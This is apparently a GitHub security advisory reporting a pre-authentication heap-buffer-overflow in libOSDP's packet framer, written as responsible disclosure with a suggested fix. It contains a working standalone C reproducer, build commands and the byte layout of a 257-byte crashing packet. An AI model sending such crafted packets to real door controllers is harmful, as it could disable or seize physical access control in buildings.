Skip to main content
Menu
Advisories

Heap-buffer-overflow WRITE in OSDP framer via crafted packet length

GHSA-6932-RFW2-J286Published Updated GitHub

Description

A crafted OSDP packet with a declared length equal to OSDP_PACKET_BUF_SIZE (256) causes a one-byte heap-buffer-overflow WRITE in osdp_rb_pop() at osdp_common.c:327, reachable pre-authentication through the public osdp_pd_refresh() API. The overflow writes past the end of the 256-byte rx_buf heap allocation, corrupting adjacent heap metadata. A second minimized input demonstrates a downstream consequence: the corruption turns a pointer inside the PD context into an invalid value, and osdp_pd_teardown() passes it to free(), triggering an invalid-free (exploitable for arbitrary write or code execution on many allocators).

CWE: CWE-787 (Out-of-bounds Write), CWE-131 (Incorrect Calculation of Buffer Size), CWE-122 (Heap-based Buffer Overflow), CWE-761 (Free of Pointer not at Start of Buffer)

---

Root Cause

The framer validates the incoming packet's declared length in phy_validate_header() at src/osdp_phy.c:455:

pkt_len = ((uint32_t)pkt->len_msb << 8) | pkt->len_lsb;
if (pkt_len > max_len ||                              // <-- BUG: > instead of >=
    pkt_len < sizeof(struct osdp_packet_header) + 1) {
    return OSDP_ERR_PKT_FMT;
}

max_len is derived from OSDP_PACKET_BUF_SIZE, defined as 256 at src/osdp_tunables.h:99:

#define OSDP_PACKET_BUF_SIZE                    (256)

The strictly-greater check (>) allows pkt_len == 256 to pass validation. Later, in osdp_phy_check_packet() at src/osdp_phy.c:785–788:

ret = osdp_rb_pop_buf(pd->rx_rb,
                      pd->packet_buf + pd->packet_buf_len,
                      pd->packet_len - pd->packet_buf_len);

This pops bytes from the ring buffer into pd->packet_buf (which aliases rx_buf, a 256-byte calloc allocation at pd_ctx_alloc). The combination of the already-buffered header bytes, the mark byte accounting, and the boundary-value length field causes the write destination to overrun the allocation by at least one byte.

The write lands in osdp_rb_pop() at src/osdp_common.c:327:

*data = p->buffer[p->tail];   // <-- WRITE into buf+i where i >= 256
p->tail = next;

The rx_buf allocation is exactly OSDP_PACKET_BUF_SIZE (256) bytes. ASAN reports: 0x511000000140 is located 0 bytes after 256-byte region [0x511000000040, 0x511000000140).

Affected versions:

Introduced by: b81c551 "libosdp: phy: Fix packet trace mark byte logging" (2023-12-19) Earliest affected release: v3.0.0 (2024-01-08). Bug Range: v3.0.0 to v3.2.5 and current master.

---

Attack Vector

An attacker with physical access to the RS-485 bus (the standard OSDP wiring between a control panel and door controllers) or a compromised CP sends a single crafted 257-byte packet to crash — and potentially gain code execution on — any PD running libOSDP.

  • No authentication required: the framer parses raw wire bytes before the OSDP Secure Channel (AES-128) is established.
  • Single packet: no multi-step interaction, no timing requirement, no race condition.
  • Transport-agnostic: libOSDP's struct osdp_channel abstraction accepts any transport (RS-485, TCP/IP, USB). When OSDP is deployed over TCP/IP — a deployment model actively promoted by SIA and shipping in products (e.g., PDQ Locks wireless locksets over LAN/WAN) — the same vulnerability becomes network-reachable (CVSS AV:A or AV:N).

OSDP (IEC 60839-11-5) is the prevailing open standard for physical access control in buildings, data centers, and critical infrastructure.

---

Full Call Chain (from public API to crash site)

osdp_pd_refresh()                           [include/osdp.h — public API]
  └─ osdp_pd_update()                       [src/osdp_pd.c:1756]
       └─ pd_receive_and_process_command()   [src/osdp_pd.c:1679]
            └─ osdp_phy_check_packet()       [src/osdp_phy.c:785]
                 └─ osdp_rb_pop_buf()        [src/osdp_common.c:337]
                      └─ osdp_rb_pop()       [src/osdp_common.c:327] ← WRITE of size 1
                                                past 256-byte rx_buf allocation

---

PoC

A standalone reproducer (repro_standalone.c) is provided below. It uses the public API only — osdp_pd_setup() + osdp_pd_refresh() — exactly as a real PD processes bytes from the RS-485 bus. No fuzzer, no state manipulation, no UNIT_TESTING flags.

Build and run (30 seconds):

cd libosdp
mkdir -p build-fuzz && cd build-fuzz && cmake .. -DCMAKE_C_COMPILER=clang && cd ..

# Compile libOSDP sources with AddressSanitizer
clang -c -g -O1 -fsanitize=address -Iinclude -Isrc -Iutils/include \
      -Ibuild-fuzz/include src/*.c utils/src/*.c src/crypto/tinyaes_src.c \
      src/crypto/tinyaes_provider.c
ar rcs libosdp_fuzz.a *.o

# Compile and link the standalone reproducer
clang -g -O1 -fsanitize=address -Iinclude -Isrc -Iutils/include \
      -Ibuild-fuzz/include repro_standalone.c libosdp_fuzz.a -lpthread \
      -o repro_standalone

# Trigger the crash (894-byte input)
ASAN_OPTIONS=detect_leaks=0 ./repro_standalone crash_input.bin

# Trigger downstream invalid-free (257-byte minimized input)
ASAN_OPTIONS=detect_leaks=0 ./repro_standalone min.bin

Standalone reproducer source (repro_standalone.c):

/*
 * Standalone reproducer for a heap-buffer-overflow in libOSDP's receive
 * ring-buffer, reached from the public osdp_pd_refresh() API when a PD is fed
 * a crafted inbound byte stream. No fuzzer, no libFuzzer harness, no manual
 * state pokes — this is exactly what a PD does on a real RS-485 bus: a peer
 * sends bytes, the PD's periodic refresh consumes them.
 *
 *   ASan: heap-buffer-overflow WRITE in osdp_rb_pop (osdp_common.c:327)
 *     <- osdp_rb_pop_buf <- osdp_phy_check_packet <- pd_receive_and_process_command
 *
 * Build: clang -g -O1 -fsanitize=address -Iinclude -Isrc -Iutils/include
 *              -Ibuild-fuzz/include repro_standalone.c libosdp_fuzz.a -lpthread
 * Run:   ASAN_OPTIONS=detect_leaks=0 ./repro_standalone crashes/min.bin
 */
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#include "osdp.h"

static uint8_t g_in[8192];
static size_t g_len, g_pos;

static int feed_recv(void *ctx, uint8_t *buf, int maxlen)
{
	(void)ctx;
	if (maxlen <= 0) return 0;
	size_t n = g_len - g_pos;
	if (n > (size_t)maxlen) n = (size_t)maxlen;
	if (n) memcpy(buf, g_in + g_pos, n);
	g_pos += n;
	return (int)n;
}
static int sink_send(void *c, uint8_t *b, int l){ (void)c;(void)b; return l; }
static void sink_flush(void *c){ (void)c; }

int main(int argc, char **argv)
{
	if (argc < 2) { fprintf(stderr, "usage: %s <input>\n", argv[0]); return 2; }
	FILE *f = fopen(argv[1], "rb");
	if (!f) { perror("fopen"); return 2; }
	g_len = fread(g_in, 1, sizeof(g_in), f);
	fclose(f);

	static const struct osdp_pd_cap cap[] = {
		{ OSDP_PD_CAP_READER_AUDIBLE_OUTPUT, 1, 1 },
		{ OSDP_PD_CAP_READER_LED_CONTROL, 1, 1 },
		{ OSDP_PD_CAP_OUTPUT_CONTROL, 1, 4 },
		{ OSDP_PD_CAP_CONTACT_STATUS_MONITORING, 1, 8 },
		{ OSDP_PD_CAP_SENTINEL, 0, 0 }
	};
	uint8_t scbk[16] = { 0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 };
	struct osdp_channel ch = {
		.data=NULL, .send=sink_send, .recv=feed_recv, .flush=sink_flush
	};
	osdp_pd_info_t info = {
		.address = 101, .baud_rate = 9600, .flags = 0,
		.id = { .version=1, .model=153, .vendor_code=31337,
			.serial_number=0x01020304, .firmware_version=0x0A0B0C0D },
		.cap = cap, .scbk = scbk,
	};
	osdp_logger_init("osdp", OSDP_LOG_EMERG, NULL);

	osdp_t *ctx = osdp_pd_setup(&ch, &info);
	if (!ctx) { fprintf(stderr, "pd setup failed\n"); return 2; }

	/* A real PD polls refresh continuously; drain this stream the same way. */
	for (int i = 0; i < 32 && g_pos < g_len; i++)
		osdp_pd_refresh(ctx);
	osdp_pd_refresh(ctx);

	printf("no crash (consumed %zu/%zu bytes)\n", g_pos, g_len);
	osdp_pd_teardown(ctx);
	return 0;
}

Expected ASAN output (crash_input.bin — 894 bytes):

=================================================================
==PID==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x511000000140
WRITE of size 1 at 0x511000000140 thread T0
    #0 in osdp_rb_pop        src/osdp_common.c:327
    #1 in osdp_rb_pop_buf    src/osdp_common.c:337
    #2 in osdp_phy_check_packet  src/osdp_phy.c:785
    #3 in pd_receive_and_process_command  src/osdp_pd.c:1679
    #4 in osdp_pd_update     src/osdp_pd.c:1756

0x511000000140 is located 0 bytes after 256-byte region [0x511000000040, 0x511000000140)
allocated by thread T0 here:
    #0 in calloc (...)
    #1 in pd_ctx_alloc (...)

Expected ASAN output (min.bin — 257 bytes):

=================================================================
==PID==ERROR: AddressSanitizer: attempting free on address which was not malloc()-ed
    #0 in free (...)
    #1 in osdp_pd_teardown (...)

The 1-byte heap corruption from the overflow poisons a pointer 63 bytes inside the PD context allocation. When osdp_pd_teardown() walks the context to free its members, it passes the corrupted pointer to free().

Minimized input hex dump (min.bin, 257 bytes):

00000000: ff 53 65 00 01 00 97 00  .Se.....
  • 0xFF — OSDP mark byte
  • 0x53 — SOM (Start of Message)
  • 0x65 — PD address
  • 0x00 0x01 — length field: 0x0100 = 256 = exactly OSDP_PACKET_BUF_SIZE
  • Remaining 252 bytes are padding that fills the ring buffer to the boundary

Negative control: empty input exits cleanly with code 0, no ASAN fault.

---

Suggested Fix

Option 1 (minimal, recommended): change the boundary check at src/osdp_phy.c:455:

- if (pkt_len > max_len ||
+ if (pkt_len >= max_len ||
      pkt_len < sizeof(struct osdp_packet_header) + 1) {

Option 2 (defense in depth): add a bounds clamp in osdp_phy_check_packet() before the osdp_rb_pop_buf() call at src/osdp_phy.c:785:

size_t remaining = pd->packet_len - pd->packet_buf_len;
size_t capacity  = OSDP_PACKET_BUF_SIZE - pd->packet_buf_len;
if (remaining > capacity) remaining = capacity;
ret = osdp_rb_pop_buf(pd->rx_rb, pd->packet_buf + pd->packet_buf_len, remaining);

---

Impact

DimensionAssessment
ConfidentialityHIGH — heap corruption can disclose adjacent memory contents via corrupted pointers
IntegrityHIGH — one-byte heap write; downstream invalid-free is exploitable for arbitrary write on many allocators
AvailabilityHIGH — immediate crash (ASAN abort; without ASAN, undefined behavior / segfault)
AuthenticationNone required — framer operates pre-Secure Channel
ComplexityLow — single 257-byte packet, no race, no timing, no special configuration

CVSS 4.0: CVSS:4.0/AV:P/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Score: ~7.0 HIGH (physical RS-485 vector). libOSDP's channel abstraction is transport-agnostic (struct osdp_channel with .recv/.send callbacks). When OSDP is deployed over TCP/IP — a deployment model actively promoted by SIA and shipping in products such as PDQ Locks' wireless locksets — the attack vector changes to AV:A (~8.6) or AV:N (~9.2 CRITICAL). The maintainer is best positioned to assess the correct attack vector for advisory scoring.

---

Framework Mapping

MITRE ATT&CK for ICS:

TacticTechniqueRelevance
Initial AccessT0860 — Wireless CompromisePhysical access to RS-485 bus provides the injection point
ExecutionT0855 — Unauthorized Command MessageCrafted OSDP packet exploits the framer before authentication
Inhibit Response FunctionT0816 — Device Restart/ShutdownHeap corruption crashes the PD, taking the door controller offline
ImpactT0826 — Loss of AvailabilityCrashed PD = door controller offline; access control inoperable
ImpactT0831 — Manipulation of ControlIf code execution is achieved, attacker controls lock/unlock state

NIST:

  • SP 800-82 Rev. 3 — §5.1 input validation at protocol boundaries; §6.2.1 defense-in-depth for field-bus communications
  • SP 800-53 Rev. 5 — SI-10 (Information Input Validation), SI-16 (Memory Protection)
  • CSF 2.0 — PR.DS-01, DE.CM-09

IEC 62443:

  • IEC 62443-4-1:2018 SVV-1/SVV-3 — vulnerability testing; framer surface was not covered by existing fuzz testing
  • IEC 62443-4-2:2019 CR 3.4/CR 7.6 — software integrity / input validation
  • IEC 60839-11-5 — OSDP v2 is published as this standard; this vulnerability is in the primary open-source implementation

ISO/IEC:

  • ISO/IEC 27001:2022 A.8.28 — Secure coding
  • ISO/IEC 27002:2022 §8.28/§8.29 — Secure coding / Security testing

---

Methodology

Found via coverage-guided fuzzing (libFuzzer + AddressSanitizer, clang-18) targeting the framer / phy-layer receive path — the raw-wire-bytes surface that the project's shipped test-codec-fuzz.c explicitly skips (it starts after the framer has validated the packet, fuzzing only the codec field-walk). The crash appeared within 120 seconds of the first fuzzing run. Confirmed via standalone reproduction using only the public API (osdp_pd_setup + osdp_pd_refresh).

---

Disclosure Timeline

  • 2026-08-18: Bug found via coverage-guided fuzzing of the un-fuzzed framer surface
  • 2026-08-19: Standalone reproduction confirmed; disclosure package prepared
  • 2026-08-20: Reported via GitHub Security Advisory (this report)

---

Attached Files

  • repro_standalone.c — standalone reproducer (public API only, 75 lines)
  • crash_input.bin — 894-byte crashing input (heap-buffer-overflow WRITE)
  • min.bin — 257-byte minimized input (downstream invalid-free)

Found by: Reflejo AI — reflejo@reflejo.ai

libosdp-disclosure-reflejo.tar.gz

Affected versions

References

GitHub · osdp-dev/libosdp